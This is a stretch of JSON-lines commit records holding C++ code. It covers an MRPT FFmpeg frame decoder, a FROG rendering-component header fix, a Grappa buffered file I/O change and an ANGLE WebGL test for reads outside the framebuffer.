(ctx->pFrame)\n\t{\n\t\tav_frame_free(&ctx->pFrame);\n\t\tctx->pFrame = nullptr;\n\t}\n\n\tif (ctx->img_convert_ctx)\n\t{\n\t\tsws_freeContext(ctx->img_convert_ctx);\n\t\tctx->img_convert_ctx = nullptr;\n\t}\n\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\tretrieveFrame\n   -------------------------------------------------------- *\/\nbool CFFMPEG_InputStream::retrieveFrame(mrpt::img::CImage& out_img)\n{\n#if MRPT_HAS_FFMPEG\n\tif (!this->isOpen()) return false;\n\n\tTFFMPEGContext* ctx = &m_impl->m_state;\n\n\tAVPacket packet;\n\n#if LIBAVFORMAT_VERSION_MAJOR < 57\n\tint frameFinished;\n#endif\n\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tconst auto width = ctx->pCodecPars->width, height = ctx->pCodecPars->height;\n#else\n\tconst auto width = ctx->pCodecCtx->width, height = ctx->pCodecCtx->height;\n#endif\n\n\twhile (av_read_frame(ctx->pFormatCtx, &packet) >= 0)\n\t{\n\t\t\/\/ Is this a packet from the video stream?\n\t\tif (packet.stream_index != ctx->videoStream)\n\t\t{\n\t\t\tav_packet_unref(&packet);\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Decode video frame\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\t\tint ret = avcodec_send_packet(ctx->pCodecCtx, &packet);\n\t\tif (ret < 0)\n\t\t{\n\t\t\tstd::cerr << std::endl\n\t\t\t\t\t  << \"[CFFMPEG_InputStream] avcodec_send_packet error code=\"\n\t\t\t\t\t  << ret << std::endl\n\t\t\t\t\t  << std::endl;\n\t\t\treturn false;\n\t\t}\n\t\twhile (ret >= 0)\n\t\t{\n\t\t\tret = avcodec_receive_frame(ctx->pCodecCtx, ctx->pFrame);\n\t\t\tif (ret == AVERROR(EAGAIN)) continue;\n\n\t\t\tif (ret == AVERROR_EOF) return false;\n\t\t\telse if (ret < 0)\n\t\t\t{\n\t\t\t\tstd::cerr << std::endl\n\t\t\t\t\t\t  << \"[CFFMPEG_InputStream] avcodec_receive_frame \"\n\t\t\t\t\t\t\t \"error code=\"\n\t\t\t\t\t\t  << ret << std::endl\n\t\t\t\t\t\t  << std::endl;\n\t\t\t\treturn false;\n\t\t\t}\n\n#else\n\t\tavcodec_decode_video2(\n\t\t\tctx->pCodecCtx, ctx->pFrame, &frameFinished, &packet);\n\t\tif (!frameFinished)\n\t\t{\n\t\t\t\/\/ Free the packet that was allocated by av_read_frame\n\t\t\tav_packet_unref(&packet);\n\t\t\tcontinue;\n\t\t}\n#endif\n\t\t\t\/\/ Convert the image from its native format to RGB:\n\t\t\tctx->img_convert_ctx = sws_getCachedContext(\n\t\t\t\tctx->img_convert_ctx, width, height, ctx->pCodecCtx->pix_fmt,\n\t\t\t\twidth, height,\n\t\t\t\tm_grab_as_grayscale ?  \/\/ BGR vs. RGB for OpenCV\n\t\t\t\t\tAV_PIX_FMT_GRAY8\n\t\t\t\t\t\t\t\t\t: AV_PIX_FMT_BGR24,\n\t\t\t\tSWS_BICUBIC, nullptr, nullptr, nullptr);\n\n\t\t\tsws_scale(\n\t\t\t\tctx->img_convert_ctx, ctx->pFrame->data, ctx->pFrame->linesize,\n\t\t\t\t0, height, ctx->pFrameRGB->data, ctx->pFrameRGB->linesize);\n\n\t\t\t\/\/ std::cout << \"[retrieveFrame] Generating image: \" <<\n\t\t\t\/\/ ctx->pCodecPars->width << \"x\" << ctx->pCodecPars->height\n\t\t\t\/\/ << std::endl; std::cout << \"  linsize: \" <<\n\t\t\t\/\/ ctx->pFrameRGB->linesize[0] << std::endl;\n\n\t\t\tif (ctx->pFrameRGB->linesize[0] !=\n\t\t\t\t((m_grab_as_grayscale ? 1 : 3) * width))\n\t\t\t\tTHROW_EXCEPTION(\"FIXME: linesize!=width case not handled yet.\");\n\n\t\t\tout_img.loadFromMemoryBuffer(\n\t\t\t\twidth, height, !m_grab_as_grayscale, ctx->pFrameRGB->data[0]);\n\n\t\t\t\/\/ Free the packet that was allocated by av_read_frame\n\t\t\tav_packet_unref(&packet);\n\t\t\treturn true;\n\t\t}\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\t}\n#endif\n\treturn false;  \/\/ Error reading\/ EOF\n#else\n\treturn false;\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\tgetVideoFPS\n   -------------------------------------------------------- *\/\ndouble CFFMPEG_InputStream::getVideoFPS() const\n{\n#if MRPT_HAS_FFMPEG\n\tif (!this->isOpen()) return -1;\n\n\tconst TFFMPEGContext* ctx = &m_impl->m_state;\n\tif (!ctx) return -1;\n\tif (!ctx->pCodecCtx) return -1;\n\n\treturn double(ctx->pCodecCtx->framerate.num) \/\n\t\tctx->pCodecCtx->framerate.den;\n#else\n\treturn false;\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef FROG_RENDERERINGCOMPONENT_HPP\n#define FROG_RENDERERINGCOMPONENT_HPP\n\n#include \"FROG\/Component.hpp\"\n#include \"FROG\/ComponentHolder.hpp\"\n#include <SFML\/Graphics.hpp>\n\n#include <memory>\n\nnamespace frog{\n\n    \/*!\n     * RenderingComponent is drawn by the scene's renderer. \n     *\/\n    class RenderingComponent : virtual public Component,\n                               virtual public sf::Drawable,\n                               virtual public sf::Transformable\n    {\n\n      \/\/\/\/ attributes \/\/\/\/ \n    protected:\n      std::shared_ptr<sf::Drawable>  m_drawable;\n\n      \/\/\/\/ operations \/\/\/\/\n    public:\n\n      \/*!\n       * @brief Constructor.\n       * @param d sf::Drawable that will be kept in order to be rendered by a \n       * Renderer. \n       *\/\n      RenderingComponent(sf::Drawable * const d);\n      RenderingComponent(std::shared_ptr<sf::Drawable> const d);\n\n      virtual ~RenderingComponent();\n\n      \/*!\n       * @brief Draws the component in the given sf::RenderTarget. \n       * @param rt RenderTarget where component should be drawn. \n       * @param rs RenderStates to apply. Default : nothing. \n       *\/\n      void draw(sf::RenderTarget& rt, \n                sf::RenderStates rs = sf::RenderStates::Default) const;\n\n     \/*!\n       * @brief Places the component to render at the good place. \n       * @details Places the component at the position of its parent, \n       * so the parent need a Transform component. It also takes its rotation \n       * and scale.\n       * @param parent ComponentHolder holding position, rotation and scale\n       *\/\n      void update(const ComponentHolder&);\n\n    };\n\n}\n\n#endif\n<commit_msg>errorfix : was passing a const, causing segfault (why did that compile ?)<commit_after>#ifndef FROG_RENDERERINGCOMPONENT_HPP\n#define FROG_RENDERERINGCOMPONENT_HPP\n\n#include \"FROG\/Component.hpp\"\n#include \"FROG\/ComponentHolder.hpp\"\n#include <SFML\/Graphics.hpp>\n\n#include <memory>\n\nnamespace frog{\n\n    \/*!\n     * RenderingComponent is drawn by the scene's renderer. \n     *\/\n    class RenderingComponent : virtual public Component,\n                               virtual public sf::Drawable,\n                               virtual public sf::Transformable\n    {\n\n      \/\/\/\/ attributes \/\/\/\/ \n    protected:\n      std::shared_ptr<sf::Drawable>  m_drawable;\n\n      \/\/\/\/ operations \/\/\/\/\n    public:\n\n      \/*!\n       * @brief Constructor.\n       * @param d sf::Drawable that will be kept in order to be rendered by a \n       * Renderer. \n       *\/\n      RenderingComponent(sf::Drawable * const d);\n      RenderingComponent(std::shared_ptr<sf::Drawable> d);\n\n      virtual ~RenderingComponent();\n\n      \/*!\n       * @brief Draws the component in the given sf::RenderTarget. \n       * @param rt RenderTarget where component should be drawn. \n       * @param rs RenderStates to apply. Default : nothing. \n       *\/\n      void draw(sf::RenderTarget& rt, \n                sf::RenderStates rs = sf::RenderStates::Default) const;\n\n     \/*!\n       * @brief Places the component to render at the good place. \n       * @details Places the component at the position of its parent, \n       * so the parent need a Transform component. It also takes its rotation \n       * and scale.\n       * @param parent ComponentHolder holding position, rotation and scale\n       *\/\n      void update(const ComponentHolder&);\n\n    };\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"Addressing.hpp\"\n#include \"common.h\"\n\nvoid compute_levels(GlobalAddress<int64_t> level, int64_t nv, GlobalAddress<int64_t> bfs_tree, int64_t root);\n\nint64_t verify_bfs_tree(GlobalAddress<int64_t> bfs_tree, int64_t max_bfsvtx, int64_t root, tuple_graph * tg);\n\ntemplate< typename T >\ninline void read_array(GlobalAddress<T> base_addr, int64_t nelem, FILE* fin) {\n  int64_t bufsize = 128;\n  T buf[bufsize];\n  for (int64_t i=0; i<nelem; i+=bufsize) {\n    if (i % 51200 == 0) VLOG(3) << \"reading \" << i;\n    int64_t n = min(nelem-i, bufsize);\n    typename Incoherent<T>::RW c(base_addr+i, n, buf);\n    c.block_until_acquired();\n    size_t nread = fread(buf, sizeof(T), n, fin);\n    CHECK(nread == n) << nread << \" : \" << n;\n    c.block_until_released();\n  }\n}\n\ntemplate< typename T >\ninline void read_array(GlobalAddress<T> base_addr, int64_t nelem, T* array) {\n  int64_t bufsize = 128;\n  T buf[bufsize];\n  for (int64_t i=0; i<nelem; i+=bufsize) {\n    if (i % 51200 == 0) VLOG(3) << \"sending \" << i;\n    int64_t n = min(nelem-i, bufsize);\n    typename Incoherent<T>::RW c(base_addr+i, n, buf);\n    c.block_until_acquired();\n    for (int64_t j=0; j<n; j++) c[j] = array[i+j];\n    c.block_until_released();\n  }\n}\n\ntemplate< typename T >\ninline void write_array(GlobalAddress<T> base_addr, int64_t nelem, FILE* fout) {\n  int64_t bufsize = 128;\n  T buf[bufsize];\n  for (int64_t i=0; i<nelem; i+=bufsize) {\n    int64_t n = min(nelem-i, bufsize);\n    typename Incoherent<T>::RO c(base_addr+i, n, buf);\n    c.block_until_acquired();\n    fwrite(buf, sizeof(T), n, fout);\n  }\n}\n<commit_msg>Using larger (but still safe) cache size for file IO<commit_after>#include \"Addressing.hpp\"\n#include \"common.h\"\n\nvoid compute_levels(GlobalAddress<int64_t> level, int64_t nv, GlobalAddress<int64_t> bfs_tree, int64_t root);\n\nint64_t verify_bfs_tree(GlobalAddress<int64_t> bfs_tree, int64_t max_bfsvtx, int64_t root, tuple_graph * tg);\n\n#define MAX_ACQUIRE_SIZE 3000\n\ntemplate< typename T >\ninline void read_array(GlobalAddress<T> base_addr, int64_t nelem, FILE* fin) {\n  int64_t bufsize = MAX_ACQUIRE_SIZE \/ sizeof(T);\n  T buf[bufsize];\n  for (int64_t i=0; i<nelem; i+=bufsize) {\n    if (i % 51200 == 0) VLOG(3) << \"reading \" << i;\n    int64_t n = min(nelem-i, bufsize);\n    typename Incoherent<T>::RW c(base_addr+i, n, buf);\n    c.block_until_acquired();\n    size_t nread = fread(buf, sizeof(T), n, fin);\n    CHECK(nread == n) << nread << \" : \" << n;\n    c.block_until_released();\n  }\n}\n\ntemplate< typename T >\ninline void read_array(GlobalAddress<T> base_addr, int64_t nelem, T* array) {\n  int64_t bufsize = MAX_ACQUIRE_SIZE \/ sizeof(T);\n  T buf[bufsize];\n  for (int64_t i=0; i<nelem; i+=bufsize) {\n    if (i % 51200 == 0) VLOG(3) << \"sending \" << i;\n    int64_t n = min(nelem-i, bufsize);\n    typename Incoherent<T>::RW c(base_addr+i, n, buf);\n    c.block_until_acquired();\n    for (int64_t j=0; j<n; j++) c[j] = array[i+j];\n    c.block_until_released();\n  }\n}\n\ntemplate< typename T >\ninline void write_array(GlobalAddress<T> base_addr, int64_t nelem, FILE* fout) {\n  int64_t bufsize = MAX_ACQUIRE_SIZE \/ sizeof(T);\n  T buf[bufsize];\n  for (int64_t i=0; i<nelem; i+=bufsize) {\n    int64_t n = min(nelem-i, bufsize);\n    typename Incoherent<T>::RO c(base_addr+i, n, buf);\n    c.block_until_acquired();\n    fwrite(buf, sizeof(T), n, fout);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright 2017 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ WebGLReadOutsideFramebufferTest.cpp : Test functions which read the framebuffer (readPixels,\n\/\/ copyTexSubImage2D, copyTexImage2D) on areas outside the framebuffer.\n\n#include \"test_utils\/ANGLETest.h\"\n\n#include \"test_utils\/gl_raii.h\"\n\nnamespace\n{\n\nclass PixelRect\n{\n  public:\n    PixelRect(int width, int height) : mWidth(width), mHeight(height), mData(width * height) {}\n\n    \/\/ Set each pixel to a different color consisting of the x,y position and a given tag.\n    \/\/ Making each pixel a different means any misplaced pixel will cause a failure.\n    \/\/ Encoding the position proved valuable in debugging.\n    void fill(unsigned tag)\n    {\n        for (int x = 0; x < mWidth; ++x)\n        {\n            for (int y = 0; y < mHeight; ++y)\n            {\n                mData[x + y * mWidth] = angle::GLColor(x + (y << 8) + (tag << 16));\n            }\n        }\n    }\n\n    void setPixel(GLubyte x, GLubyte y, GLubyte z, GLubyte w)\n    {\n        mData[x + y * mWidth] = angle::GLColor(x, y, z, w);\n    }\n\n    void toTexture2D(GLuint texid) const\n    {\n        glBindTexture(GL_TEXTURE_2D, texid);\n        glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, mWidth, mHeight, 0, GL_RGBA, GL_UNSIGNED_BYTE,\n                     mData.data());\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\n    }\n\n    void readFB(int x, int y)\n    {\n        glReadPixels(x, y, mWidth, mHeight, GL_RGBA, GL_UNSIGNED_BYTE, mData.data());\n    }\n\n    \/\/ Read pixels from 'other' into 'this' from position (x,y).\n    \/\/ Pixels outside 'other' are untouched or zeroed according to 'zeroOutside.'\n    void readPixelRect(const PixelRect &other, int x, int y, bool zeroOutside)\n    {\n        for (int i = 0; i < mWidth; ++i)\n        {\n            for (int j = 0; j < mHeight; ++j)\n            {\n                angle::GLColor *dest = &mData[i + j * mWidth];\n                if (!other.getPixel(x + i, y + j, dest) && zeroOutside)\n                {\n                    *dest = angle::GLColor(0);\n                }\n            }\n        }\n    }\n\n    bool getPixel(int x, int y, angle::GLColor *colorOut) const\n    {\n        if (0 <= x && x < mWidth && 0 <= y && y < mHeight)\n        {\n            *colorOut = mData[x + y * mWidth];\n            return true;\n        }\n        return false;\n    }\n\n    void compare(const PixelRect &expected) const\n    {\n        for (int i = 0; i < mWidth * mHeight; ++i)\n            ASSERT_EQ(expected.mData[i], mData[i]);\n    }\n\n  private:\n    int mWidth, mHeight;\n    std::vector<angle::GLColor> mData;\n};\n\n}  \/\/ namespace\n\nnamespace angle\n{\n\nclass WebGLReadOutsideFramebufferTest : public ANGLETest\n{\n  public:\n    \/\/ Read framebuffer to 'pixelsOut' via glReadPixels.\n    void TestReadPixels(int x, int y, PixelRect *pixelsOut) { pixelsOut->readFB(x, y); }\n\n    \/\/ Read framebuffer to 'pixelsOut' via glCopyTexSubImage2D.\n    void TestCopyTexSubImage2D(int x, int y, PixelRect *pixelsOut)\n    {\n        \/\/ Init texture with given pixels.\n        GLTexture destTexture;\n        pixelsOut->toTexture2D(destTexture.get());\n\n        \/\/ Read framebuffer -> texture -> 'pixelsOut'\n        glCopyTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, x, y, kReadWidth, kReadHeight);\n        readTexture(kReadWidth, kReadHeight, pixelsOut);\n    }\n\n    \/\/ Read framebuffer to 'pixelsOut' via glCopyTexImage2D.\n    void TestCopyTexImage2D(int x, int y, PixelRect *pixelsOut)\n    {\n        \/\/ Init texture with given pixels.\n        GLTexture destTexture;\n        pixelsOut->toTexture2D(destTexture.get());\n\n        \/\/ Read framebuffer -> texture -> 'pixelsOut'\n        glCopyTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, x, y, kReadWidth, kReadHeight, 0);\n        readTexture(kReadWidth, kReadHeight, pixelsOut);\n    }\n\n  protected:\n    static constexpr int kFbWidth    = 128;\n    static constexpr int kFbHeight   = 128;\n    static constexpr int kReadWidth  = 4;\n    static constexpr int kReadHeight = 4;\n\n    \/\/ Tag the framebuffer pixels differently than the initial read buffer pixels, so we know for\n    \/\/ sure which pixels are changed by reading.\n    static constexpr GLuint fbTag   = 0x1122;\n    static constexpr GLuint readTag = 0xaabb;\n\n    WebGLReadOutsideFramebufferTest() : mFBData(kFbWidth, kFbHeight)\n    {\n        setWindowWidth(kFbWidth);\n        setWindowHeight(kFbHeight);\n        setConfigRedBits(8);\n        setConfigGreenBits(8);\n        setConfigBlueBits(8);\n        setConfigAlphaBits(8);\n        setWebGLCompatibilityEnabled(true);\n    }\n\n    void SetUp() override\n    {\n        ANGLETest::SetUp();\n\n        \/\/ TODO(fjhenigman): Factor out this shader and others like it in other tests, into\n        \/\/ ANGLETest.\n        const std::string vertexShader =\n            \"attribute vec3 a_position;\\n\"\n            \"varying vec2 v_texCoord;\\n\"\n            \"void main() {\\n\"\n            \"    v_texCoord = a_position.xy * 0.5 + 0.5;\\n\"\n            \"    gl_Position = vec4(a_position, 1);\\n\"\n            \"}\\n\";\n        const std::string fragmentShader =\n            \"precision mediump float;\\n\"\n            \"varying vec2 v_texCoord;\\n\"\n            \"uniform sampler2D u_texture;\\n\"\n            \"void main() {\\n\"\n            \"    gl_FragColor = texture2D(u_texture, v_texCoord);\\n\"\n            \"}\\n\";\n\n        mProgram = CompileProgram(vertexShader, fragmentShader);\n        glUseProgram(mProgram);\n        GLint uniformLoc = glGetUniformLocation(mProgram, \"u_texture\");\n        ASSERT_NE(-1, uniformLoc);\n        glUniform1i(uniformLoc, 0);\n\n        glDisable(GL_BLEND);\n        glDisable(GL_DEPTH_TEST);\n\n        \/\/ fill framebuffer with unique pixels\n        mFBData.fill(fbTag);\n        GLTexture fbTexture;\n        mFBData.toTexture2D(fbTexture.get());\n        drawQuad(mProgram, \"a_position\", 0.0f, 1.0f, true);\n    }\n\n    void TearDown() override\n    {\n        glDeleteProgram(mProgram);\n        ANGLETest::TearDown();\n    }\n\n    using TestFunc = void (WebGLReadOutsideFramebufferTest::*)(int x, int y, PixelRect *dest);\n\n    void Main(TestFunc testFunc, bool zeroOutside)\n    {\n        PixelRect actual(kReadWidth, kReadHeight);\n        PixelRect expected(kReadWidth, kReadHeight);\n\n        \/\/ Read a kReadWidth*kReadHeight rectangle of pixels from places that include:\n        \/\/ - completely outside framebuffer, on all sides of it (i,j < 0 or > 2)\n        \/\/ - completely inside framebuffer (i,j == 1)\n        \/\/ - straddling framebuffer boundary, at each corner and side\n        for (int i = -1; i < 4; ++i)\n        {\n            for (int j = -1; j < 4; ++j)\n            {\n                int x = i * kFbWidth \/ 2 - kReadWidth \/ 2;\n                int y = j * kFbHeight \/ 2 - kReadHeight \/ 2;\n\n                \/\/ Put unique pixel values into the read destinations.\n                actual.fill(readTag);\n                expected.readPixelRect(actual, 0, 0, false);\n\n                \/\/ Read from framebuffer into 'actual.'\n                glBindFramebuffer(GL_FRAMEBUFFER, 0);\n                (this->*testFunc)(x, y, &actual);\n                glBindFramebuffer(GL_FRAMEBUFFER, 0);\n\n                \/\/ Simulate framebuffer read, into 'expected.'\n                expected.readPixelRect(mFBData, x, y, zeroOutside);\n\n                \/\/ See if they are the same.\n                actual.compare(expected);\n            }\n        }\n    }\n\n    \/\/ Get contents of current texture by drawing it into a framebuffer then reading with\n    \/\/ glReadPixels().\n    void readTexture(GLsizei width, GLsizei height, PixelRect *out)\n    {\n        GLRenderbuffer colorBuffer;\n        glBindRenderbuffer(GL_RENDERBUFFER, colorBuffer);\n        glRenderbufferStorage(GL_RENDERBUFFER, GL_RGBA8, width, height);\n\n        GLFramebuffer fbo;\n        glBindFramebuffer(GL_FRAMEBUFFER, fbo);\n        glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_RENDERBUFFER,\n                                  colorBuffer.get());\n\n        glViewport(0, 0, width, height);\n        drawQuad(mProgram, \"a_position\", 0.0f, 1.0f, true);\n        out->readFB(0, 0);\n    }\n\n    PixelRect mFBData;\n    GLuint mProgram;\n};\n\n\/\/ TODO(fjhenigman): Enable each test as part of a CL that lets the test pass.\n\n\/\/ Check that readPixels does not set a destination pixel when\n\/\/ the corresponding source pixel is outside the framebuffer.\nTEST_P(WebGLReadOutsideFramebufferTest, ReadPixels)\n{\n    \/\/ Main(&WebGLReadOutsideFramebufferTest::TestReadPixels, false);\n}\n\n\/\/ Check that copyTexSubImage2D does not set a destination pixel when\n\/\/ the corresponding source pixel is outside the framebuffer.\nTEST_P(WebGLReadOutsideFramebufferTest, CopyTexSubImage2D)\n{\n    Main(&WebGLReadOutsideFramebufferTest::TestCopyTexSubImage2D, false);\n}\n\n\/\/ Check that copyTexImage2D sets (0,0,0,0) for pixels outside the framebuffer.\nTEST_P(WebGLReadOutsideFramebufferTest, CopyTexImage2D)\n{\n    \/\/ Main(&WebGLReadOutsideFramebufferTest::TestCopyTexImage2D, true);\n}\n\nANGLE_INSTANTIATE_TEST(WebGLReadOutsideFramebufferTest,\n                       ES2_D3D9(),\n                       ES2_D3D11(),\n                       ES3_D3D11(),\n                       ES2_D3D11_FL9_3(),\n                       ES2_OPENGL(),\n                       ES3_OPENGL(),\n                       ES2_OPENGLES(),\n                       ES3_OPENGLES());\n\n}  \/\/ namespace\n<commit_msg>Skip WebGLReadOutsideFramebufferTest.CopyTexSubImage2D on Win Intel<commit_after>\/\/\n\/\/ Copyright 2017 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ WebGLReadOutsideFramebufferTest.cpp : Test functions which read the framebuffer (readPixels,\n\/\/ copyTexSubImage2D, copyTexImage2D) on areas outside the framebuffer.\n\n#include \"test_utils\/ANGLETest.h\"\n\n#include \"test_utils\/gl_raii.h\"\n\nnamespace\n{\n\nclass PixelRect\n{\n  public:\n    PixelRect(int width, int height) : mWidth(width), mHeight(height), mData(width * height) {}\n\n    \/\/ Set each pixel to a different color consisting of the x,y position and a given tag.\n    \/\/ Making each pixel a different means any misplaced pixel will cause a failure.\n    \/\/ Encoding the position proved valuable in debugging.\n    void fill(unsigned tag)\n    {\n        for (int x = 0; x < mWidth; ++x)\n        {\n            for (int y = 0; y < mHeight; ++y)\n            {\n                mData[x + y * mWidth] = angle::GLColor(x + (y << 8) + (tag << 16));\n            }\n        }\n    }\n\n    void setPixel(GLubyte x, GLubyte y, GLubyte z, GLubyte w)\n    {\n        mData[x + y * mWidth] = angle::GLColor(x, y, z, w);\n    }\n\n    void toTexture2D(GLuint texid) const\n    {\n        glBindTexture(GL_TEXTURE_2D, texid);\n        glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, mWidth, mHeight, 0, GL_RGBA, GL_UNSIGNED_BYTE,\n                     mData.data());\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\n    }\n\n    void readFB(int x, int y)\n    {\n        glReadPixels(x, y, mWidth, mHeight, GL_RGBA, GL_UNSIGNED_BYTE, mData.data());\n    }\n\n    \/\/ Read pixels from 'other' into 'this' from position (x,y).\n    \/\/ Pixels outside 'other' are untouched or zeroed according to 'zeroOutside.'\n    void readPixelRect(const PixelRect &other, int x, int y, bool zeroOutside)\n    {\n        for (int i = 0; i < mWidth; ++i)\n        {\n            for (int j = 0; j < mHeight; ++j)\n            {\n                angle::GLColor *dest = &mData[i + j * mWidth];\n                if (!other.getPixel(x + i, y + j, dest) && zeroOutside)\n                {\n                    *dest = angle::GLColor(0);\n                }\n            }\n        }\n    }\n\n    bool getPixel(int x, int y, angle::GLColor *colorOut) const\n    {\n        if (0 <= x && x < mWidth && 0 <= y && y < mHeight)\n        {\n            *colorOut = mData[x + y * mWidth];\n            return true;\n        }\n        return false;\n    }\n\n    void compare(const PixelRect &expected) const\n    {\n        for (int i = 0; i < mWidth * mHeight; ++i)\n            ASSERT_EQ(expected.mData[i], mData[i]);\n    }\n\n  private:\n    int mWidth, mHeight;\n    std::vector<angle::GLColor> mData;\n};\n\n}  \/\/ namespace\n\nnamespace angle\n{\n\nclass WebGLReadOutsideFramebufferTest : public ANGLETest\n{\n  public:\n    \/\/ Read framebuffer to 'pixelsOut' via glReadPixels.\n    void TestReadPixels(int x, int y, PixelRect *pixelsOut) { pixelsOut->readFB(x, y); }\n\n    \/\/ Read framebuffer to 'pixelsOut' via glCopyTexSubImage2D.\n    void TestCopyTexSubImage2D(int x, int y, PixelRect *pixelsOut)\n    {\n        \/\/ Init texture with given pixels.\n        GLTexture destTexture;\n        pixelsOut->toTexture2D(destTexture.get());\n\n        \/\/ Read framebuffer -> texture -> 'pixelsOut'\n        glCopyTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, x, y, kReadWidth, kReadHeight);\n        readTexture(kReadWidth, kReadHeight, pixelsOut);\n    }\n\n    \/\/ Read framebuffer to 'pixelsOut' via glCopyTexImage2D.\n    void TestCopyTexImage2D(int x, int y, PixelRect *pixelsOut)\n    {\n        \/\/ Init texture with given pixels.\n        GLTexture destTexture;\n        pixelsOut->toTexture2D(destTexture.get());\n\n        \/\/ Read framebuffer -> texture -> 'pixelsOut'\n        glCopyTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, x, y, kReadWidth, kReadHeight, 0);\n        readTexture(kReadWidth, kReadHeight, pixelsOut);\n    }\n\n  protected:\n    static constexpr int kFbWidth    = 128;\n    static constexpr int kFbHeight   = 128;\n    static constexpr int kReadWidth  = 4;\n    static constexpr int kReadHeight = 4;\n\n    \/\/ Tag the framebuffer pixels differently than the initial read buffer pixels, so we know for\n    \/\/ sure which pixels are changed by reading.\n    static constexpr GLuint fbTag   = 0x1122;\n    static constexpr GLuint readTag = 0xaabb;\n\n    WebGLReadOutsideFramebufferTest() : mFBData(kFbWidth, kFbHeight)\n    {\n        setWindowWidth(kFbWidth);\n        setWindowHeight(kFbHeight);\n        setConfigRedBits(8);\n        setConfigGreenBits(8);\n        setConfigBlueBits(8);\n        setConfigAlphaBits(8);\n        setWebGLCompatibilityEnabled(true);\n    }\n\n    void SetUp() override\n    {\n        ANGLETest::SetUp();\n\n        \/\/ TODO(fjhenigman): Factor out this shader and others like it in other tests, into\n        \/\/ ANGLETest.\n        const std::string vertexShader =\n            \"attribute vec3 a_position;\\n\"\n            \"varying vec2 v_texCoord;\\n\"\n            \"void main() {\\n\"\n            \"    v_texCoord = a_position.xy * 0.5 + 0.5;\\n\"\n            \"    gl_Position = vec4(a_position, 1);\\n\"\n            \"}\\n\";\n        const std::string fragmentShader =\n            \"precision mediump float;\\n\"\n            \"varying vec2 v_texCoord;\\n\"\n            \"uniform sampler2D u_texture;\\n\"\n            \"void main() {\\n\"\n            \"    gl_FragColor = texture2D(u_texture, v_texCoord);\\n\"\n            \"}\\n\";\n\n        mProgram = CompileProgram(vertexShader, fragmentShader);\n        glUseProgram(mProgram);\n        GLint uniformLoc = glGetUniformLocation(mProgram, \"u_texture\");\n        ASSERT_NE(-1, uniformLoc);\n        glUniform1i(uniformLoc, 0);\n\n        glDisable(GL_BLEND);\n        glDisable(GL_DEPTH_TEST);\n\n        \/\/ fill framebuffer with unique pixels\n        mFBData.fill(fbTag);\n        GLTexture fbTexture;\n        mFBData.toTexture2D(fbTexture.get());\n        drawQuad(mProgram, \"a_position\", 0.0f, 1.0f, true);\n    }\n\n    void TearDown() override\n    {\n        glDeleteProgram(mProgram);\n        ANGLETest::TearDown();\n    }\n\n    using TestFunc = void (WebGLReadOutsideFramebufferTest::*)(int x, int y, PixelRect *dest);\n\n    void Main(TestFunc testFunc, bool zeroOutside)\n    {\n        PixelRect actual(kReadWidth, kReadHeight);\n        PixelRect expected(kReadWidth, kReadHeight);\n\n        \/\/ Read a kReadWidth*kReadHeight rectangle of pixels from places that include:\n        \/\/ - completely outside framebuffer, on all sides of it (i,j < 0 or > 2)\n        \/\/ - completely inside framebuffer (i,j == 1)\n        \/\/ - straddling framebuffer boundary, at each corner and side\n        for (int i = -1; i < 4; ++i)\n        {\n            for (int j = -1; j < 4; ++j)\n            {\n                int x = i * kFbWidth \/ 2 - kReadWidth \/ 2;\n                int y = j * kFbHeight \/ 2 - kReadHeight \/ 2;\n\n                \/\/ Put unique pixel values into the read destinations.\n                actual.fill(readTag);\n                expected.readPixelRect(actual, 0, 0, false);\n\n                \/\/ Read from framebuffer into 'actual.'\n                glBindFramebuffer(GL_FRAMEBUFFER, 0);\n                (this->*testFunc)(x, y, &actual);\n                glBindFramebuffer(GL_FRAMEBUFFER, 0);\n\n                \/\/ Simulate framebuffer read, into 'expected.'\n                expected.readPixelRect(mFBData, x, y, zeroOutside);\n\n                \/\/ See if they are the same.\n                actual.compare(expected);\n            }\n        }\n    }\n\n    \/\/ Get contents of current texture by drawing it into a framebuffer then reading with\n    \/\/ glReadPixels().\n    void readTexture(GLsizei width, GLsizei height, PixelRect *out)\n    {\n        GLRenderbuffer colorBuffer;\n        glBindRenderbuffer(GL_RENDERBUFFER, colorBuffer);\n        glRenderbufferStorage(GL_RENDERBUFFER, GL_RGBA8, width, height);\n\n        GLFramebuffer fbo;\n        glBindFramebuffer(GL_FRAMEBUFFER, fbo);\n        glFramebufferRenderbuffer(GL_FRAMEBUFFER, 